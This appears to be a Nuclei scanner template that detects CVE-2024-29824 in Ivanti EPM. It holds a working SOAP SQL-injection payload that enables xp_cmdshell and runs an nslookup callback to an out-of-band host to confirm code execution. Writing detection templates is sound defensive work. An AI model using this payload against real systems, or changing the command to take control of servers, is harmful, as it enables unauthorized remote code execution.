Ivanti EPM - Remote Code Execution

id: CVE-2024-29824

info:
  name: Ivanti EPM - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
  impact: |
    Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.
  remediation: |
    Apply security updates for Ivanti EPM that address CVE-2024-29824.
  reference:
    - https://github.com/horizon3ai/CVE-2024-29824
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824
    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024
    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2024-29824
    epss-score: 0.99951
    epss-percentile: 0.99973
  metadata:
    max-request: 1
  tags: cve,cve2024,ivanti,epm,sqli,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml

        <?xml version="1.0" encoding="utf-8"?>
        <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
          <soap12:Body>
            <UpdateStatusEvents xmlns="http://tempuri.org/">
              <deviceID>string</deviceID>
              <actions>
                <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>
                </Action>
              </actions>
            </UpdateStatusEvents>
          </soap12:Body>
        </soap12:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - 'application/soap+xml'

      - type: word
        part: body
        words:
          - 'UpdateStatusEventsResponse'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 490a0046304402207694652ac73d956aea8994dad6c32c839872dcabf7ebb8e1fae6b1b5e8446ec90220726684ac80ce7442144f1c8dd3bfcdbfcdcac484a0eee4b30e5c7e9868ba63e2:922c64590222798bb761d5b6d8e72950